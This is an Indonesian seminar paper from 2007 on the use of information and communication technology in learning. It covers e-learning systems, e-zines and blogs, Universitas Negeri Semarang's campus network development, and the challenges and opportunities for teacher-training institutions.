Fasilitas e-learning yang lengkap disediakan oleh perangkat lunak khusus yang disebut perangkat lunak pengelola pembelajaran atau LMS (learning management system). LMS mutakhir berjalan berbasis teknologi internet sehingga dapat diakses dari manapun selama tersedia akses ke internet (Hari Wibawanto, 2006). Fasilitas yang disediakan meliputi pengelolaan siswa atau peserta didik, pengelolaan materi pembelajaran, pengelolaan proses pembelajaran termasuk pengelolaan evaluasi pembelajaran serta pengelolaan komunikasi antara pembelajar dengan fasilitator-fasilitatornya. Fasilitas ini memungkinkan kegiatan belajar dikelola tanpa adanya tatap muka langsung di antara pihak-pihak yang terlibat (administrator, fasilitator, peserta didik atau pembelajar). ‘Kehadiran’ pihak-pihak yang terlibat diwakili oleh email, kanal chatting, atau melalui video conference.

Aplikasi Lain

Selain e-book dan fasilitas e-learning, berbagai aplikasi lain bermunculan (dan kadang saling berintegrasi sehingga menimbulkan sinergi) sebagai dampak ikutan perkembangan TIK terutama internet.

E-zine dari kata e-magazine, merupakan bentuk digital dari majalah konvensional. Penerbitan majalah berformat digital memungkinkan ditekannya ongkos produksi (karena tidak perlu mencetak) dan distribusi (karena sekali diupload ke server, seluruh dunia bisa mengaksesnya). Pemutakhiran isinya juga dapat dilakukan dengan sangat cepat sehingga perkembangan mutakhir dapat disajikan dengan lebih cepat. Termasuk dalam kategori e-zine ini adalah e-newspaper yang berfokus pada berita terkini dan e-journal yang memfokuskan diri pada laporan hasil-hasil penelitian.

E-laboratory, merupakan bentuk digital dari fasilitas dan proses-proses laboratorium yang dapat disimulasikan secara digital. Pada dasarnya, perangkat lunak ini adalah perangkat lunak animasi dan simulasi yang dapat dikemas dalam keping CD, DVD maupun disajikan pada web-site sebagai web-based application (perangkat lunak yang berjalan pada jaringan internet).

Blog atau weblog adalah perkembangan mutakhir di bidang web-based application. Ide semula adalah menyediakan fasilitas electronic diary atau buku harian elektronik untuk remaja. Pengguna dapat mengisi buku harian tersebut semudah menulis email, mengunggah (upload) ke server hanya dengan meng-klik ikon, dan hasilnya adalah tayangan tulisan di layar browser. Pemakai internet di manapun berada dapat melihat publikasi tersebut dengan mengakses alamat situs, misalnya: http://hariwibawanto.wordpress.com. Dari sisi kandungan isi, blok sekarang banyak berisi gagasan, ide, dan opini pribadi tentang satu masalah yang menarik secara subyektif. Meskipun akurasi informasi yang tersaji masih bisa diperdebatkan, tetapi yang penting adalah blog memungkinkan seseorang tanpa pengetahuan desain web-site dapat dengan mudah membuat web-site pribadi dan mengelola maupun memutakhirkan isinya dengan sangat mudah. Kemudahan lain adalah tersedianya banyak server blog gratis. Dalam konteks pemanfaatannya bagi proses pembelajaran, kandungan isi blog pembelajar, misalnya, dapat menjadi umpan balik bagi fasilitator.

Konteks Lokal: Universitas Negeri Semarang

Salah satu syarat awal keterlibatan sivitas akademika dalam dunia TIK modern adalah computer literate atau melek komputer. Pendekatannya bisa top-down (dari dosen turun ke mahasiswa) atau sebaliknya bottom-up (dari mahasiswa naik ke dosen), atau dua-duanya berjalan simultan. Pendekatan ketiga itulah yang secara alami terjadi di Universitas Negeri Semarang (Unnes). Penetrasi budaya masyarakat informasi yang ditularkan oleh perguruan tinggi besar di Indonesia maupun luar negeri telah menjadikan sebagian dosen melek komputer dan melek internet lebh dulu dari rekan-rekannya yang lain. Aset inilah yang secara alami melalui proses interaksi saling memerlukan, menjadi sarana persebaran keterampilan (dan budaya) menggunakan komputer dan internet.

Penggarapan lebih serius dilakukan oleh UPT Sumber Belajar dan Media melalui kegiatan-kegiatan pelatihan produksi multimedia, perancangan situs web, dan sebagainya, yang berlangsung sejak tahun 2000. Dalam kegiatan-kegiatan pelatihan itulah dilakukan pengenalan pemanfaatan komputer untuk pembelajaran, sehingga menimbulkan gairah belajar-mengajar dengan fasilitas komputer.

Sejak itu, mulailah masing-masing jurusan maupun program studi menyediakan fasilitas laboratorium komputer maupun laboratorium produksi multimedia. Kebutuhan yang mendesak terhadap akses internet mulai dilayani oleh warung internet yang bekerjasama dengan UPT Perpustakaan, kemudian disusul oleh layanan serupa di Jurusan Fisika, Jurusan Ekonomi, dan Jurusan Teknik Elektro.

Menyadari pentingnya akses Internet dan fasilitas pembelajaran berbasis TIK lainnya, maka pada tahun 2006, melalui program hibah kompetisi INHERENT Unnes berupaya menyatukan jaringan-jaringan komputer lokal yang ada di 8 fakultas dengan menggunakan back-bone serat optik. Upaya itu berhasil dilakukan setelah Unnes memenangkan hibah INHERENT (Unnes, 2006). Penyatuan jaringan lokal tersebut memungkinkan dioperasikannya sistem informasi online yang mulai tahun 2007 dimanfaatkan sebagai sarana heregistrasi, yudisium, dan pengisian KRS secara online. Pengembangan selanjutnya adalah menyatukan beberapa kampus Unnes yang berada di lokasi lain (misalnya: Program Pascasarjana di Bendan Ngisor dan PGSD di Karanganyar) menjadi satu jaringan dengan kampus pusat di Gunungpati. Sayangnya, keterbatasan anggaran rutin yang disediakan Unnes menjadikan rencana-rencana tersebut hanya dapat dilaksanakan dengan mengandalkan dana-dana dari program hibah kompetisi. Tim-tim yang dibentuk oleh Unnes mendapat tugas berat untuk mengajukan dan mempertahankan proposal yang diajukan ke Direktorat Pendidikan Tinggi, bersaing dengan ratusan perguruan tinggi lain (negeri maupun swasta), agar dapat didanai.

Beberapa permasalahan yang ditengarai menjadi tantangan pemanfataan TIK bagi pembelajaran di Unnes antara lain adalah:

  • Adanya digital divide dalam konteks lokal Unnes sendiri. Ada kesenjangan antara mahasiswa yang memperoleh kekayaan informasi lebih dengan mahasiswa yang memiliki akses informasi terbatas, baik akibat belum meratanya ketersediaan fasilitas, kurangnya keterampilan mengakses informasi, kurangnya dukungan finansial, maupun oleh sebab-sebab lain yang belum bisa diidentifikasi. Kesenjangan digital ini juga terjadi pada level dosen dan sivitas akademika lainnya.
  • Adanya resistansi atau penolakan baik yang bersifat statik (berupa sifat malas berubah dan malas belajar) maupun agresif (perlawanan, karena menjadi pihak yang ‘dirugikan’).
  • Ketergantungan pada sumber dana yang berasal dari hibah kompetisi menjadikan perkembangan TIK di Unnes tidak selalu berjalan sesuai skenario ideal. Hal itu disebabkan setiap program hibah yang diluncurkan Dikti senantiasa memiliki arah dan fokus sendiri, dan tidak selalu bisa dikaitkan dengan implementasi TIK.

Peluang-peluang di Masa Depan

Pada Kurikulum Berbasis Kompetensi maupun Kurikulum Tingkat Satuan Pendidikan, termuat mata ajaran Teknologi Informasi dan Komunikasi untuk SMP/MI maupun SMA/SMK/MA/MAK. Sampai saat ini belum ada Lembaga Pendidikan Tenaga Kependidikan yang menghasilkan guru dengan spesialisasi pengajar Teknologu Informasi dan Komunikasi. Sebagian besar guru TIK di lapangan adalah guru yang berasal dari bidang keahlian kependidikan lain yang kebetulan ‘bisa mengoperasikan komputer’ atau bahkan sarjana-sarjana komputer. Ini merupakan peluang bagi LPTK seperti Unnes, baik dengan membuka secara khusus program studi yang terkait dengan TIK ataupun membekali calon guru dengan keterampilan TIK yang memadai sehingga tidak gamang menghadapi penugasan sebagai guru TIK.

Ladang garapan lain yang seharusnya digarap LPTK seperti Unnes adalah bidang pemanfaatan TIK dalam proses pembelajaran. Kiranya program studi Kurikulum dan Teknologi Pendidikan (dengan penekanan pada frasa terakhir, Teknologi Pendidikan) tepat untuk menggarap bidang tersebut. Berikut adalah sebagian dari daftar panjang bidang-bidang yang seharusnya digarap Unnes sebagai LPTK:

· Kajian desain dan implementasi bahan ajar multimedia;

· Kajian teori-teori belajar terkait proses pembelajaran online;

· Kajian eksploratif pemanfaatan jaringan Internet dalam proses pembelajaran;

· Desain dan implementasi perangkat lunak pembelajaran dengan berlandaskan pada teori belajar mutakhir;

· Pemanfaatan secara kreatif aplikasi-aplikasi berbasis internet yang telah ada menjadi alat bantu pembelajaran;

· Kajian pemanfaatan chatting, blogging, maupun teleconferencing pada proses pembelajaran;

Penutup

Sebagai institusi yang menghasilkan guru dan tenaga kependidikan lainnya, Unnes masih perlu membenahi dan terus memperbaiki infrastruktur terkait teknologi informasi dan komunikasi. Perbaikan infrastruktur TIK ini merupakan keniscayaan, mengingat pesatnya perkembangan TIK pada umumnya dan yang terkait dengan proses pembelajaran pada khususnya. Selain perbaikan infrastruktur, rekayasa sosial untuk mendekatkan sivitas akademika dengan TIK perlu dilakukan mengingat bahwa adopsi teknologi hanya berhasil baik apabila disertai dengan penyesuaian-penyesuaian budaya maupun kebiasaan yang dibawa serta oleh teknologi tersebut.

Daftar Pustaka

Hari Wibawanto. 2006. Learning Management System. Handout. Disajikan pada Training on ICT in Instruction for Quality Improvement of Graduate Study di Universitas Udayana, Denpasar.

Kementerian Negara Riset dan Teknologi. 2006. Buku Putih. Penelitian Pengembangan dan Penerapan IPTEK Bidang Teknologi Informasi dan Komunikasi Tahun 2005-2025. Jakarta: Kementerian Negara Riset dan Teknologi.

Lallana, Emmanuel C. 2003. The Information Age. Manila: e-Asean Task Force UNDP APDIP.

SEAMOLEC. 2003. e-Learning di Indonesia dan Prospeknya di Masa Mendatang. Makalah. Disajikan pada Seminar Nasional E-Learning perlu E-Library di Universitas Kristen Petra Surabaya pada 3 Februari 2003.

Unnes. 2006. Laporan Akhir Pelaksanaan Program K-2. Semarang: Unnes

Tentang Penulis

Drs. Hari Wibawanto, M.T.

Menyelesaikan S1 di Jurusan Pendidikan Teknik Elektronika IKIP Yogyakarta dan S2 di Fakultas Teknik Universitas Gadjahmada Yogyakarta dengan spesialisasi Sistem Komputer dan Informatika. Menjadi dosen Universitas Negeri Semarang sejak tahun 1991 setelah beberapa saat lamanya menjadi staf redaksi bidang rekayasa dan ilmu-ilmu hayati pada Ensiklopedi Nasional Indonesia.

Terlibat aktif dalam penyusunan hibah-hibah kompetisi a.l.: Due-Like, SP4 Kompetisi, dan PHK K2 (Inherent). Saat ini sedang menyelesaikan pendidikan S3 di Universitas Gajahmada Yogyakarta.



[1] Disampaikan pada Seminar Tantangan dan Peluang Pembelajaran TI&K di Sekolah di Jurusan Kurikulum dan Teknologi Pendidikan, Fakultas Ilmu Pendidikan, Universitas Negeri Semarang, 10 Februari 2007

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS